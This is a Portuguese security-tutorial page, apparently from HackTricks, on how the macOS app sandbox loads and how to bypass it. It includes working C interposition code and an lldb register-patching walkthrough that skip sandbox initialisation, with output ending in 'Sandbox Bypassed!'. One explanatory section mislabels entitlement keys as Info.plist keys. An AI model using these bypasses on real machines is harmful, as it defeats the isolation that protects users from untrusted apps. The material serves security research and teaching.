# Depuração e Bypass do Sandbox do macOS
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## Processo de carregamento do Sandbox

Imagem de http://newosxbook.com/files/HITSB.pdf

Na imagem anterior, é possível observar **como o sandbox será carregado** quando um aplicativo com a permissão **`com.apple.security.app-sandbox`** é executado. O compilador irá vincular `/usr/lib/libSystem.B.dylib` ao binário. Em seguida, **`libSystem.B`** irá chamar várias outras funções até que o **`xpc_pipe_routine`** envie as permissões do aplicativo para o **`securityd`**. O Securityd verifica se o processo deve ser colocado em quarentena dentro do Sandbox e, se sim, ele será colocado em quarentena.\ Por fim, o sandbox será ativado com uma chamada para **`__sandbox_ms`**, que chamará **`__mac_syscall`**. ## Possíveis Bypasses ### Bypass do atributo de quarentena **Arquivos criados por processos em sandbox** recebem o **atributo de quarentena** para evitar a fuga do sandbox. No entanto, se você conseguir **criar uma pasta `.app` sem o atributo de quarentena** dentro de um aplicativo em sandbox, poderá fazer com que o binário do pacote do aplicativo aponte para **`/bin/bash`** e adicionar algumas variáveis de ambiente no **plist** para abusar do **`open`** e **iniciar o novo aplicativo sem o sandbox**. Isso é o que foi feito em [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.** {% hint style="danger" %} Portanto, no momento, se você for capaz apenas de criar uma pasta com um nome terminando em **`.app`** sem o atributo de quarentena, você pode escapar do sandbox porque o macOS só **verifica** o atributo de **quarentena** na **pasta `.app`** e no **executável principal** (e iremos apontar o executável principal para **`/bin/bash`**). {% endhint %} ### Abuso da funcionalidade Open Nos [**últimos exemplos de bypass do sandbox do Word**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv), pode-se apreciar como a funcionalidade **`open`** do cli pode ser abusada para contornar o sandbox. ### Abuso de Locais de Início Automático Se um processo em sandbox pode **escrever** em um local onde **posteriormente um aplicativo sem sandbox será executado o binário**, ele poderá **escapar simplesmente colocando** o binário lá. Um bom exemplo desse tipo de locais são `~/Library/LaunchAgents` ou `/System/Library/LaunchDaemons`. Para isso, você pode precisar de **2 etapas**: fazer um processo com um sandbox **mais permissivo** (`file-read*`, `file-write*`) executar seu código, que realmente escreverá em um local onde será **executado sem sandbox**. Verifique esta página sobre **Locais de Início Automático**: {% content-ref url="../../../../macos-auto-start-locations.md" %} [macos-auto-start-locations.md](../../../../macos-auto-start-locations.md) {% endcontent-ref %} ### Abuso de outros processos Se a partir do processo em sandbox você conseguir **comprometer outros processos** em execução em sandboxes menos restritivas (ou sem sandbox), você poderá escapar para seus sandboxes: {% content-ref url="../../../macos-proces-abuse/" %} [macos-proces-abuse](../../../macos-proces-abuse/) {% endcontent-ref %} ### Compilação Estática e Vinculação Dinâmica [**Esta pesquisa**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descobriu 2 maneiras de contornar o Sandbox. Como o sandbox é aplicado a partir do espaço do usuário quando a biblioteca **libSystem** é carregada. Se um binário pudesse evitar o carregamento dela, ele nunca seria colocado em um sandbox: * Se o binário fosse **completamente compilado estaticamente**, ele poderia evitar o carregamento dessa biblioteca. * Se o **binário não precisasse carregar nenhuma biblioteca** (porque o linker também está em libSystem), ele não precisaria carregar libSystem. ### Shellcodes Observe que **até mesmo shellcodes** em ARM64 precisam ser vinculados em `libSystem.dylib`: ```bash ld -o shell shell.o -macosx_version_min 13.0 ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64 ``` ### Privilégios Note que mesmo que algumas **ações** possam ser **permitidas pelo sandbox** se um aplicativo tiver um **privilégio específico**, como em: ```scheme (when (entitlement "com.apple.security.network.client") (allow network-outbound (remote ip)) (allow mach-lookup (global-name "com.apple.airportd") (global-name "com.apple.cfnetwork.AuthBrokerAgent") (global-name "com.apple.cfnetwork.cfnetworkagent") [...] ``` ### Bypassando o Interpost Para obter mais informações sobre o **Interpost**, consulte: {% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %} [macos-function-hooking.md](../../../mac-os-architecture/macos-function-hooking.md) {% endcontent-ref %} #### Interpostar `_libsecinit_initializer` para evitar o sandbox ```c // gcc -dynamiclib interpose.c -o interpose.dylib #include void _libsecinit_initializer(void); void overriden__libsecinit_initializer(void) { printf("_libsecinit_initializer called\n"); } __attribute__((used, section("__DATA,__interpose"))) static struct { void (*overriden__libsecinit_initializer)(void); void (*_libsecinit_initializer)(void); } _libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer}; ``` ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand _libsecinit_initializer called Sandbox Bypassed! ``` #### Interceptar `__mac_syscall` para evitar o Sandbox {% code title="interpose.c" %} ```c // gcc -dynamiclib interpose.c -o interpose.dylib #include #include // Forward Declaration int __mac_syscall(const char *_policyname, int _call, void *_arg); // Replacement function int my_mac_syscall(const char *_policyname, int _call, void *_arg) { printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call); if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) { printf("Bypassing Sandbox initiation.\n"); return 0; // pretend we did the job without actually calling __mac_syscall } // Call the original function for other cases return __mac_syscall(_policyname, _call, _arg); } // Interpose Definition struct interpose_sym { const void *replacement; const void *original; }; // Interpose __mac_syscall with my_mac_syscall __attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = { { (const void *)my_mac_syscall, (const void *)__mac_syscall }, }; ``` {% endcode %} ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand __mac_syscall invoked. Policy: Sandbox, Call: 2 __mac_syscall invoked. Policy: Sandbox, Call: 2 __mac_syscall invoked. Policy: Sandbox, Call: 0 Bypassing Sandbox initiation. __mac_syscall invoked. Policy: Quarantine, Call: 87 __mac_syscall invoked. Policy: Sandbox, Call: 4 Sandbox Bypassed! ``` ### Depurar e contornar o Sandbox com lldb Vamos compilar um aplicativo que deve ser colocado em um sandbox: {% tabs %} {% tab title="sand.c" %} ```c #include int main() { system("cat ~/Desktop/del.txt"); } ``` {% tab title="entitlements.xml" %} ```xml com.apple.security.app-sandbox ``` {% tab title="Info.plist" %} O arquivo Info.plist é um arquivo de configuração usado para definir as configurações e comportamentos de um aplicativo macOS. Ele contém informações sobre o aplicativo, como seu nome, identificador, versão e permissões necessárias. No contexto do sandbox do macOS, o arquivo Info.plist é usado para especificar as restrições de segurança impostas ao aplicativo. Dentro do arquivo Info.plist, existem várias chaves e valores que podem ser configurados para controlar o comportamento do aplicativo no sandbox. Alguns exemplos dessas chaves incluem: - `com.apple.security.app-sandbox`: Esta chave especifica se o aplicativo deve ser executado no sandbox. Definir o valor dessa chave como `true` indica que o aplicativo será executado no sandbox. - `com.apple.security.network.client`: Esta chave especifica se o aplicativo pode fazer solicitações de rede. Definir o valor dessa chave como `true` permite que o aplicativo faça solicitações de rede. - `com.apple.security.files.user-selected.read-write`: Esta chave especifica se o aplicativo pode ler e gravar em arquivos selecionados pelo usuário. Definir o valor dessa chave como `true` permite que o aplicativo leia e grave em arquivos selecionados pelo usuário. Essas são apenas algumas das chaves disponíveis no arquivo Info.plist. Ao configurar corretamente essas chaves, é possível restringir as permissões e proteger o aplicativo no sandbox do macOS. {% endtab %} ```xml CFBundleIdentifier xyz.hacktricks.sandbox CFBundleName Sandbox ``` {% endtab %} {% endtabs %} Em seguida, compile o aplicativo: {% code overflow="wrap" %} ```bash # Compile it gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand # Create a certificate for "Code Signing" # Apply the entitlements via signing codesign -s --entitlements entitlements.xml sand ``` {% endcode %} {% hint style="danger" %} O aplicativo tentará **ler** o arquivo **`~/Desktop/del.txt`**, o que o **Sandbox não permitirá**.\ Crie um arquivo lá, pois uma vez que o Sandbox for contornado, ele poderá lê-lo: ```bash echo "Sandbox Bypassed" > ~/Desktop/del.txt ``` {% endhint %} Vamos depurar o aplicativo para ver quando o Sandbox é carregado: ```bash # Load app in debugging lldb ./sand # Set breakpoint in xpc_pipe_routine (lldb) b xpc_pipe_routine # run (lldb) r # This breakpoint is reached by different functionalities # Check in the backtrace is it was de sandbox one the one that reached it # We are looking for the one libsecinit from libSystem.B, like the following one: (lldb) bt * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 * frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584 frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64 frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80 frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272 # To avoid lldb cutting info (lldb) settings set target.max-string-summary-length 10000 # The message is in the 2 arg of the xpc_pipe_routine function, get it with: (lldb) p (char *) xpc_copy_description($x1) (char *) $0 = 0x000000010100a400 " { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => { count = 42, capacity = 64, contents =\n\t\t0: { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: { length = 35, contents = \"/usr/lib/system/libcorecry"... # The 3 arg is the address were the XPC response will be stored (lldb) register read x2 x2 = 0x000000016fdfd660 # Move until the end of the function (lldb) finish # Read the response ## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY (lldb) memory read -f p 0x000000016fdfd660 -c 1 0x16fdfd660: 0x0000600003d04000 (lldb) p (char *) xpc_copy_description(0x0000600003d04000) (char *) $4 = 0x0000000100204280 " { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => : 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => : { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => : 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => : 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => : 0\n}" # To bypass the sandbox we need to skip the call to __mac_syscall # Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox) (lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)' (lldb) c # The 1 arg is the name of the policy, in this case "Sandbox" (lldb) memory read -f s $x0 0x19300eb22: "Sandbox" # # BYPASS # # Due to the previous bp, the process will be stopped in: Process 2517 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall libsystem_kernel.dylib`: -> 0x187659900 <+0>: mov x16, #0x17d 0x187659904 <+4>: svc #0x80 0x187659908 <+8>: b.lo 0x187659928 ; <+40> 0x18765990c <+12>: pacibsp # Para ignorar, vá para o endereço b.lo modificando alguns registradores primeiro (lldb) breakpoint delete 1 # Remova o bp (lldb) register write $pc 0x187659928 # Endereço b.lo (lldb) register write $x0 0x00 (lldb) register write $x1 0x00 (lldb) register write $x16 0x17d (lldb) c Processo 2517 retomado Sandbox Ignorado! Processo 2517 encerrado com status = 0 (0x00000000) ``` {% hint style="warning" %} **Mesmo com o Sandbox contornado, o TCC** perguntará ao usuário se ele deseja permitir que o processo leia arquivos da área de trabalho. {% endhint %} ## Referências * [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf) * [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) * [https://www.youtube.com/watch?v=mG715HcDgO8](https://www.youtube.com/watch?v=mG715HcDgO8)
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